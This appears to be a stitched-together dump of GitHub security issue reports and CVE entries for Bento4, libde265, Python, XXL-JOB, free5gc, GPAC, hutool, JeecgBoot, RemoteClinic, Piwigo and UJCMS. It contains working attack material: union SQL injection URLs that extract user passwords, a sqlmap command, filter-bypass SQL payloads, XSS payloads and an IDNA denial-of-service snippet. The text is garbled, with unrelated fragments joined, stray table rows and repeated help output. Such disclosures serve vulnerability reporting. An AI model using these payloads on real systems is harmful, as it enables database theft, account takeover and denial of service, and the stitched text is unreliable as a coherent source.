Hi, developers of Bento4:
I tested the binary mp4edit and mp42hevc with my fuzzer, and three crashes incurred, including two memory-leaks from mp4edit and a heap-overflow from mp42hevc. And I think Bug1 and Bug2 are different. The following is the details.
# Bug1
Detected memory leaks in mp4edit.

Hi, developers of Bento4:
I tested the binary Avcinfo with my fuzzer, and a crash incurred—heap-buffer-overflow. The following is the details. I think this error is different from both #731 and #610.
# Bug
Detected heap-buffer-overflow in Avcinfo.

An unsanitized collType parameter can be used to perform bloolean base blind SQL Injection attack
**To Reproduce**
1. Log in as admin
2. go to http://localhost/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=bbbb&membershipType=a&collType=aaaa
3. capture the request and save it to a file
4. use sqlmap with this command `sqlmap -r <capture_http_req >.req--level 5 --risk 3 --dbms=mysql -p collType --technique=B --current-user`
**Screenshots**
1. bredel.req
2. sqlmap first run without getting anything from the database
3. sqlmap get current user

--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help

--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x2831a1) in ff_hevc_put_hevc_qpel_h_2_v_1_sse(short*, long, unsigned char const*, long, int, int, short*)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x25f5ed) in ff_hevc_put_weighted_pred_avg_8_sse(unsigned char*, long, short const*, short const*, long, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x146a04) in put_qpel_0_0_fallback_16(short*, long, unsigned short const*, long, int, int, short*, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help

CVE-2022-42919 | 2022-11-07T00:15:09.697 | Python 3.9.x before 3.9.16 and 3.10.x before 3.10.9 on Linux allows local privilege escalation in a non-default configuration. The Python multiprocessing library, when used with the forkserver start method on Linux, allows pickles to be deserialized from any user in the same machine local network namespace, which in many system configurations means any user on the same machine. Pickles can execute arbitrary code. Thus, this allows for local user privilege escalation to the user that any forkserver process is running as. Setting multiprocessing.util.abstract_sockets_supported to False is a workaround. The forkserver start method for multiprocessing is not the default start method. This issue is Linux specific because only Linux supports abstract namespace sockets. CPython before 3.9 does not make use of Linux abstract namespace sockets by default. Support for users manually specifying an abstract namespace socket was added as a bugfix in 3.7.8 and 3.8.3, but users would need to make specific uncommon API calls in order to do that in CPython before 3.9. | {

] | ## TL;DR
Python 3.9, 3.10, and 3.11.0rc2 on Linux may allow for a local privilege escalation attack in a non-default configuration when code uses the `multiprocessing` module and configures `multiprocessing` to use the *forkserver* start method.
## Details
The Python `multiprocessing` library, when used with the *forkserver* start method on Linux, allows Python pickles to be deserialized from any user in the same machine local network namespace, which in many system configurations means any user on the same machine. Pickles can execute arbitrary code. Thus, this allows for local user privilege escalation to the user that any Python multiprocessing *forkserver* process is running as.
The forkserver start method for multiprocessing is not the default start method. This issue is Linux specific because only Linux supports abstract namespace sockets.
CPython before 3.9 does not make use of Linux abstract namespace sockets by default.
This issue has been assigned [CVE-2022-42919](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42919).
Credit: This issue was discovered by Devin Jeanpierre (@ssbr) of Google.
### Are Python 3.7 and 3.8 affected?
Not by default.
Support for users manually specifying an abstract namespace AF_UNIX socket was added [as a bugfix](https://github.com/python/cpython/issues/84031) in 3.7.8 and 3.8.3, but users would need to make specific uncommon `multiprocessing` API calls specifying their own *forkserver* control socket path in order to do that in CPython before 3.9.
### What about code that explicitly asks for an abstract socket?
Applications found to be making the uncommon `multiprocessing` API calls to explicitly use Linux abstract namespace sockets with a *forkserver* are believed to be rare and should have their own specific security issues filed.
## Workarounds
### From Python application or library code:
```python
import multiprocessing.util
multiprocessing.util.abstract_sockets_supported = False
```
This disables their use by default. You must execute that before anything else in your process has started making use of multiprocessing.
### If you can patch your CPython runtime itself:
Remove these two lines from CPython's [`Lib/multiprocessing/connection.py`](https://github.com/python/cpython/blob/1699128c4891da3bbe23553d709261d88855b93f/Lib/multiprocessing/connection.py#L79-L80):
```diff
- if util.abstract_sockets_supported:
- return f"\0listener-{os.getpid()}-{next(_mmap_counter)}"
```
_(that is what our security bug fix commits do)._
Or, similar to the application level fix, edit [`Lib/multiprocessing/util.py`](https://github.com/python/cpython/blob/1699128c4891da3bbe23553d709261d88855b93f/Lib/multiprocessing/util.py#L126) to always set:
```diff
- abstract_sockets_supported = _platform_supports_abstract_sockets()
+ abstract_sockets_supported = False
```
### Alternatives to avoid the problem
If your Linux Python application can be switched from multiprocessing's `.set_start_method("forkserver")` to a start method such as `"spawn"` that will also avoid this issue.
## Scope of the bug fixes
We are changing the default in Python 3.9 and higher to not use the Linux abstract namespace sockets by default.
It would be ideal to add authentication to the *forkserver* control socket so that it isn't even relying on filesystem permissions. This is a more complicated change and is expected to be done as a feature in 3.12.
### Tasks
- [x] Cherry pick the 3.11 commit to the 3.11.0 release. https://github.com/python/cpython/commit/4686d77a04570a663164c03193d9def23c89b122
- [x] Merge the 3.9 PR. https://github.com/python/cpython/pull/98504
- [x] After 3.11.0 is out, make sure 3.11.1 won't have a duplicate news entry about this due to the branch vs 3.11.0 release branch
- [ ] Push @gpshead 's PR(s) for proper forkserver socket authentication in 3.12.

An unnecessary quadratic algorithm exists in one path when processing some inputs to the IDNA (RFC 3490) decoder, such that a crafted, unreasonably long name being presented to the decoder could lead to a CPU denial of service. Hostnames are often supplied by remote servers that could be controlled by a malicious actor; in such a scenario, they could trigger excessive CPU consumption on the client attempting to make use of an attacker-supplied supposed hostname. For example, the attack payload could be placed in the Location header of an HTTP response with status code 302. A fix is planned in 3.11.1, 3.10.9, 3.9.16, 3.8.16, and 3.7.16. | {

Originally reported to the security address on September 9.
```python
('xn--016c'+'a'*5000).encode('utf-8').decode('idna')
```
The execution time is not linear in relation to the input string size, which can cause slowness with large inputs:
10 chars = 0.016 seconds
100 chars = 0.047 seconds
1000 chars = 2.883 seconds
2500 chars = 17.724 seconds
5000 chars = 1 min 10 seconds
Comment by @tiran:
> According to spec https://unicode.org/reports/tr46/ an IDNA label must not be longer than 63 characters. Python's idna module enforces the restriction, but too late.
This may be abused in some cases, for example by passing a crafted host name to `asyncio create_connection`:
```python
import asyncio
async def main():
loop = asyncio.get_running_loop()
await loop.create_connection(
lambda: [], ('xn--016c'+'a'*5000).encode('utf-8'), 443
)
asyncio.run(main())
```

] | Hi, there.
There is an heap overflow in ReadPartial, Ap4StdCFileByteStream.cpp:341, in the newest master branch 5e7bb34a08272c49242196eba1cefab8af55f381, which seems to be incomplete fix of issue #510.
Here is the reproducing command:

[mp4info_overflow_ReadPartial341.zip](https://github.com/axiomatic-systems/Bento4/files/9987970/mp4info_overflow_ReadPartial341.zip)
(unzip first)
The reason of this overflow can causes arbitrary code execution by memory manipulation since user can control the content parsed by the program.

] | xxl-job =< 2.3.1 version (latest version) has SSRF vulnerability, which causes low-privileged users to control executor to execute arbitrary commands
1. Vulnerability description
XXL-JOB is a distributed task scheduling platform based on java language in the XXL (XXL-JOB) community.
There is an SSRF vulnerability in xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java of Xxl-job 2.3.1, which originates from /logDetailCat, it directly sends a query log request to the address specified by executorAddress without judging whether the executorAddress parameter is the valid executor address. The query request will have the XXL-JOB-ACCESS- TOKEN, resulting in the leakage of XXL-JOB-ACCESS-TOKEN, and then the attacker obtains XXL-JOB-ACCESS-TOKEN and calls any executor, causing the execution of arbitrary commands of the executor.
The /logDetailCat interface call only needs to be a low Privilege user of the platform。
2.Affected version
Xxl-job-admin =< 2.3.1 （latest）
3.Proof of concept
1、build an http server locally and print the http request header log.

2、Create a normal user normal without any executor permissions。
3、When using the normal user to call the interface, set the input parameter executor Address to the http server address in step 1, and print the XXL-JOB-ACCESS-TOKEN directly on the target server

4、Use the token to call the task trigger interface of the executor Restful API to execute arbitrary commands
4、Recommendations

] | ## Describe the bug
While testing the free5gc AMF for some NAS basic security features and fuzzing, I could trigger several crashes, while sending malformed NAS message. This means those issues are relatively exposed as they can be trigger by any 5G subscriber, in the principle.
Here, all memory issues due to mishandled NAS messages and IE structures are caught by the GO memory runtime, which protects the binary for potential exploitable cases.
## To Reproduce
No easy way to reproduce with available open-source tools. A modification of a gNB / UE emulator can be done to send malformed NAS messages.
## Expected behavior
An attacker could leverage this to cause excessive downtime and resource consumption against a pool of AMF. As much as possible, crashing the binary should be avoided when decoding subscriber's provided NAS signaling message. During the decoding process, verifications should be made to ensure the messages are valid ; in case of invalid or malformed messages, it should be dropped and the corresponding UE context should be deleted.
## Environment (please complete the following information):
- free5GC Version: v3.0.5
- OS: Ubuntu 20.04
- Kernel version: 5.4.0-62-generic
- go version: go1.14.4 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided. If required, pcap corresponding some specific crashes can be provided.
### Log File
The following part lists some GOLANG stacktraces and corresponding malformed NAS and IE cases.
When a IE with TLV structure (type 4 or 6) is provided, but without the expected length, free5gc crashes, e.g. with an empty 5GSID:

Finally, it seems using any kind of LADN Indicator within the 5G Registration Request message leads to the AMF getting stuck, consuming CPU and memory forever, and not responding on the SCTP socket anymore. The process gets finally killed by the Linux kernel.
For instance sending a NAS Registration Request with the following LADN Indicator structure:
```
### LADNInd ###
<T : 116>
<L : 8>
<V : 0x0000000000000000>
```
Leads to this situation:
```

# Description
A fixed length buffer value_string is allocated in smil_parse_time_list, while in the later memcpy, it doesn't check the length and simply copy content to this buffer, causing overflow.
```c
static void smil_parse_time_list(GF_Node *e, GF_List *values, char *begin_or_end_list)
{
SMIL_Time *value;
char value_string[500];
char *str = begin_or_end_list, *tmp;
u32 len;
/* get rid of leading spaces */
while (*str == ' ') str++;
while (1) {
tmp = strchr(str, ';');
if (tmp) len = (u32) (tmp-str);
else len = (u32) strlen(str);
memcpy(value_string, str, len);
while ((len > 0) && (value_string[len - 1] == ' '))
```
# Impact
Since the content is absolutely controllable by users, an unlimited length will cause stack overflow, corrupting canary, causing DoS or even Remote Code Execution.
# Mitigation
We can just set a length limit to it, making it less than 500 byte.
# Reproduce
On Ubuntu 22.04 lts, make with this.
```
./configure --static-bin
make
```
Run the following command with POC.svg.
```
MP4Box -mp4 -sync 0x1000 ./POC.svg
```
You may get a buffer overflow detected error.

### 漏洞描述
hutool中存在zip bomb漏洞，此漏洞发生在zip解压时， zip炸弹文件中有大量刻意重复的数据，这种重复数据在压缩的时候是可以被丢弃的，这也就是压缩后的文件其实并不大的原因，但是当解压后，文件会变得非常大，通过脚本(https://github.com/CreeperKong/zipbomb-generator)
可以生成可利用的zip文件，如下图：
也就是说42KB的压缩包解压后大小为5.5G，10MB的压缩包解压后大小为281TB，46MB的压缩包解压后大小为4.5PB。
在HuTool组件中，未对上述情况做严格的防护，从而导致消耗服务器统存储资源，导致拒绝服务等情况发生。
### 漏洞影响
影响版本：release version 4.4.2 - release version 5.8.10
影响危害：消耗服务器统存储资源，导致拒绝服务等情况发生
### 漏洞发现
漏洞发生在cn.hutool.core.util.ZipUtil.java文件中。
如下方法未做任何防护：
1. cn.hutool.core.util.ZipUtil#unzip(java.lang.String)
2. cn.hutool.core.util.ZipUtil#unzip(java.lang.String, java.nio.charset.Charset)
3. cn.hutool.core.util.ZipUtil#unzip(java.io.File)
4. cn.hutool.core.util.ZipUtil#unzip(java.io.File, java.nio.charset.Charset)
5. cn.hutool.core.util.ZipUtil#unzip(java.lang.String, java.lang.String)
6. cn.hutool.core.util.ZipUtil#unzip(java.lang.String, java.lang.String, java.nio.charset.Charset)
7. cn.hutool.core.util.ZipUtil#unzip(java.io.File, java.io.File)
8. cn.hutool.core.util.ZipUtil#unzip(java.io.File, java.io.File, java.nio.charset.Charset)
9. cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File)
10. cn.hutool.core.util.ZipUtil#unzip(java.io.InputStream, java.io.File, java.nio.charset.Charset)
11. cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipInputStream, java.io.File)
上述11个方法最后都会调用cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File, long)方法，但是第三个参数为-1L，如下图
继续跟进cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File, long)
如上图可以看到limit参数的作用是为了防止文件过大，但是前面提到的11中方法传入的limit参数值为-1L，因此不会检测压缩文件是否过大。
另外，计算文件大小采用zipEntry.getSize()方法，而size值可以在zip文件中伪造，从而逃过上述代码的检测，具体伪造方式可参考：https://blog.csdn.net/fenwangduanyan/article/details/112969329
jadx项目也发生过此漏洞：https://github.com/skylot/jadx/issues/980
### 漏洞复现
HuTool中的zip bomb可分为两类：
1. 第一类是上文中列出的11种方法，没有检测文件是否过大；
2. 第二类是直接调用cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File, long)方法，且指定了第三个参数值，这种则需要伪造zip数据包中的size value。
这里仅仅展示第一类利用方式，具体如下：
利用此项目代码：https://github.com/CreeperKong/zipbomb-generator 生成恶意恶意压缩文件，运行`python zipbomb.py --mode=quoted_overlap --alphabet ABCDEFGHIJKLMNOPQRSTUVWXYZ --num-files=500 --compressed-size=1000000 > tgao.zip`，即可生成1019kb的压缩文件
编写如下java代码：
```java
import cn.hutool.core.util.ZipUtil;
public class ZipBombTest {
public static void main(String[] args) {
ZipUtil.unzip("D:/download/zipbomb-generator-master/tgao.zip",
"D:/download/zipbomb-generator-master/tgao");
}
}
```
运行上述java代码，解压后的文件夹大小如下：
即1019kb的压缩文件解压后16.6GB，实际大于这个值，因为我的磁盘已经装不下更多的空间了。
### 修复建议
1. 参考jadx项目的修复方式：https://github.com/skylot/jadx/commit/9b1761f71f043e0a9b2030a9263bdc00a1971d2a
2. 设置一个解压后文件大小默认值或者一个压缩文件解压后和解压前所占空间的比例默认值，如果超过默认值，则进行回滚操作，删除已解压的文件
## English
### Description
zip bomb vulnerability exists in hutool. This vulnerability occurs when zip is decompressed. There are a lot of deliberately repeated data in the zip bomb file, which can be discarded during compression. Through script (https://github.com/CreeperKong/zipbomb-generator),
A usable zip file can be generated, as shown below:
In other words, the size of the 42KB package is 5.5 GB, that of the 10MB package is 281TB, and that of the 46MB package is 4.5PB.
The HuTool component does not strictly protect against the preceding situations. As a result, the storage resources of the server are consumed and service denial occurs.
### Impact
Affected versions: release version 4.4.2 - release version 5.8.10
Impact Damage: The storage resources of the server are consumed, resulting in denial of service
### Code Audit
vulnerability in cn.Hutool.Core.Util.ZipUtil.Java file.
The following methods do not have any protection:
1. cn.hutool.core.util.ZipUtil#unzip(java.lang.String)
2. cn.hutool.core.util.ZipUtil#unzip(java.lang.String, java.nio.charset.Charset)
5. cn.hutool.core.util.ZipUtil#unzip(java.io.File)
6. cn.hutool.core.util.ZipUtil#unzip(java.io.File, java.nio.charset.Charset)
7. cn.hutool.core.util.ZipUtil#unzip(java.lang.String, java.lang.String)
8. cn.hutool.core.util.ZipUtil#unzip(java.lang.String, java.lang.String, java.nio.charset.Charset)
9. cn.hutool.core.util.ZipUtil#unzip(java.io.File, java.io.File)
10. cn.hutool.core.util.ZipUtil#unzip(java.io.File, java.io.File, java.nio.charset.Charset)
11. cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File)
12. cn.hutool.core.util.ZipUtil#unzip(java.io.InputStream, java.io.File, java.nio.charset.Charset)
13. cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipInputStream, java.io.File)
The above 11 method finally call the cn.Hutool.Core.Util.ZipUtil#unzip(Java.Util.Zip.ZipFile, Java.IO.File, long) method, but the third parameter to -1L, As shown below：
Continue to follow up the cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File, long)
As you can see in the figure above, the limit parameter is used to prevent the file from being too large, but the previous method in 11 passed the limit parameter as -1L, so it does not detect if the compressed file is too large.
In addition, the zipEntry.getSize() method is used to calculate the file size, and the size value can be forged in the zip file, so as to escape the detection of the above code.
For details, please refer to: https://blog.csdn.net/fenwangduanyan/article/details/112969329
This vulnerability also occurred on the jadx project：https://github.com/skylot/jadx/issues/980
### Steps to reproduce
zip bombs in HuTool fall into two categories:
1. The first type is the 11 methods listed above, which does not detect whether the file is too large;
2. The second type is called directly cn.Hutool.Core.Util.ZipUtil#unzip(Java.Util.Zip.ZipFile, Java.IO.File, long)method, and specifies the third parameter values, In this case, The attacker can fake the size value in the zip packet.
Only the first type of utilization is shown here, specifically as follows:
Using the project code (https://github.com/CreeperKong/zipbomb-generator) to generate malicious malicious compressed file, Run `python zipbomb.py --mode=quoted_overlap --alphabet ABCDEFGHIJKLMNOPQRSTUVWXYZ --num-files=500 --compressed-size=1000000 > tgao.zip` to generate the compressed file of 1019kb.
Write the following java code:
```java
import cn.hutool.core.util.ZipUtil;
public class ZipBombTest {
public static void main(String[] args) {
ZipUtil.unzip("D:/download/zipbomb-generator-master/tgao.zip",
"D:/download/zipbomb-generator-master/tgao");
}

Run the above java code and the size of the extracted folder is as follows:
That's 16.6GB for a 1019kb zip file, which is more than that, because I can't fit any more space on my disk.
### Bug Repair Suggestions
1. Refer to the repair method of jadx project: https://github.com/skylot/jadx/commit/9b1761f71f043e0a9b2030a9263bdc00a1971d2a
2. Set a default value for the size of the decompressed file or the ratio of the space occupied by the decompressed file to the space occupied by the decompressed file. If the ratio exceeds the default value, the decompressed file is rolled back to delete the decompressed file.

# Description
Forget to check the return value of `gf_swf_read_header` in gf_sm_load_init_swf. `gf_swf_read_header` should fall fast if error is detected.
```c
gf_swf_read_header(read);
load->ctx->scene_width = FIX2INT(read->width);
load->ctx->scene_height = FIX2INT(read->height);
load->ctx->is_pixel_metrics = 1;
```

dec265 v1.0.9
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help

] | ##### 版本号：3.4.4
##### 前端版本：vue2版
##### 问题描述：sql注入检测代码存在绕过.
##### 截图&代码：
SqlInjectionUtil类中sql的注释正则为
```java
private final static Pattern SQL_ANNOTATION = Pattern.compile("/\\*.*\\*/");
```
.无法匹配到%0A, 导致可以利用/\*%0A\*/绕过
关键字检测后存在空格,导致绕过
```java
private final static String XSS_STR = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|user()";
```
AbstractQueryBlackListHandler类中的黑名单:
```java
ruleMap.put("sys_user", "password,salt");
```
在isPass函数中ruleMap.get(name)为null即可绕过, 可以采用`sys_user`, (sys_user), sys_user%20等绕过
存在多个注入点:
1. /sys/duplicate/check接口:
```java
dataId=2000&fieldName=(select(if(((select/*%0A*/password/*%0A*/from/*%0A*/sys_user/*%0A*/where/*%0A*/username/*%0A*/='jeecg')='eee378a1258530cb'),sleep(4),1)))&fieldVal=1000&tableName=sys_log
```

2. /sys/api/getDictItems
该接口没有进行签名校验:

```

3. sys/dict/queryTableData
```java
?table=%60sys_user%60&pageSize=22&pageNo=1&text=username&code=password
```
<img width="1228" alt="image" src="https://user-images.githubusercontent.com/50673654/206842700-9446ac05-18f2-4791-8e26-c78a1f934a09.png">

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Vulnerable Endpoint: http://localhost/RemoteClinic/medicines/profile.php?id=30 (My Medicine Profile ID is **30**)
#### Steps to Reproduce:
1. Login in Application as Doctor.
2. Click on Directory.
3. Click on any medicine profile.
4. Now PUT single quote in medicine profile endpoint.
5. Balance the Query to Remove Errors.
**Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=30%27--%20-
6. Find Total Numbers of Columns.
**Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=30%27%20order%20by%207--%20-
7. Find Vulnerable Columns.
**Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=-30%27%20union%20select%201,2,3,4,5,6,7--%20-
8. Now Extract **Current Database** and **Current User**.
**Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=-30%27%20union%20select%20database(),user(),3,4,5,6,7--%20-
9. Extract All **Users** and **Passwords** (md5 hash).
**Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=-30%27%20union%20select%20group_concat(userid,0x3a,passkey,0x0a),2,3,4,5,6,7%20from%20p_staff_dir--%20-
#### Impact:
An attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further. | SQL Injection in /medicines/profile.php via `id` parameter | https://api.github.com/repos/remoteclinic/RemoteClinic/issues/20/comments | 1 | 2022-12-26T22:39:19Z | 2023-01-27T17:13:38Z | https://github.com/remoteclinic/RemoteClinic/issues/20 | 1,511,290,645 | 20 |

**Impact:**
In this way, ordinary users can be promoted to administrator users.
**Here are the complete attack steps:**
1. Register an ordinary user.
2. Sign out.
3. POST messages with burpsuite, and change User-Agent's data to xss-payload. Here's an example.
```
POST /src/piwigo/identification.php HTTP/1.1

Connection: close
username=w1nd&password=123456&remember_me=<svg+onload=alert(1)>&redirect=&login=%E6%8F%90%E4%BA%A4
```
4. Finally, when the administrator user logs in and visit /admin.php?page=user_activity, the stored xss will be triggered.
`/admin.php?page=user_activity`
Please fix the vulnerability & let me know :).

] | Everyone (including the [submitter](https://pointernull.com/security/python-url-parse-problem.html) of the now public exploit who submitted the issue half a year ago to `[email protected]` and the [NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-24329)) seems to think that #99421 "accidently fixed" CVE-2023-24329.
Did the Python Security Response Team verify that this vulnerability that was reported to them and that is now public was fixed by #99421?
The PoC from the submitter still works for me with the Debian package 3.11.2-4, which surprised me and makes me wonder whether the fix had any effect at all on the stripping of leading blanks issue in the CVE.

] | Hello, I found that when ujcms V4.1.3 of your company added articles in the background, the redirection link was selected, and the url was not verified when the new window was opened without checking the check box. javascript pseudo-protocol is used to carry out cross-site attack. When the viewer clicks on the article, the cross-site attack is triggered. The user's browser control permissions and sensitive information can be obtained in this way.
Specific steps: When adding new articles, turn to the url and input javascript:alert(1). Click Save. When clicking the new articles in the foreground, js events can be triggered.
Suggestion: If you want to add a forward link, verify the location of the forward url in the system, for example, limit it to HTTP or HTTPS. | XSS attacks may occur on the UJCMS | https://api.github.com/repos/dromara/ujcms/issues/3/comments | 1 | 2023-01-09T05:23:58Z | 2023-01-10T04:15:22Z | https://github.com/dromara/ujcms/issues/3 | 1,524,956,274 | 3 |
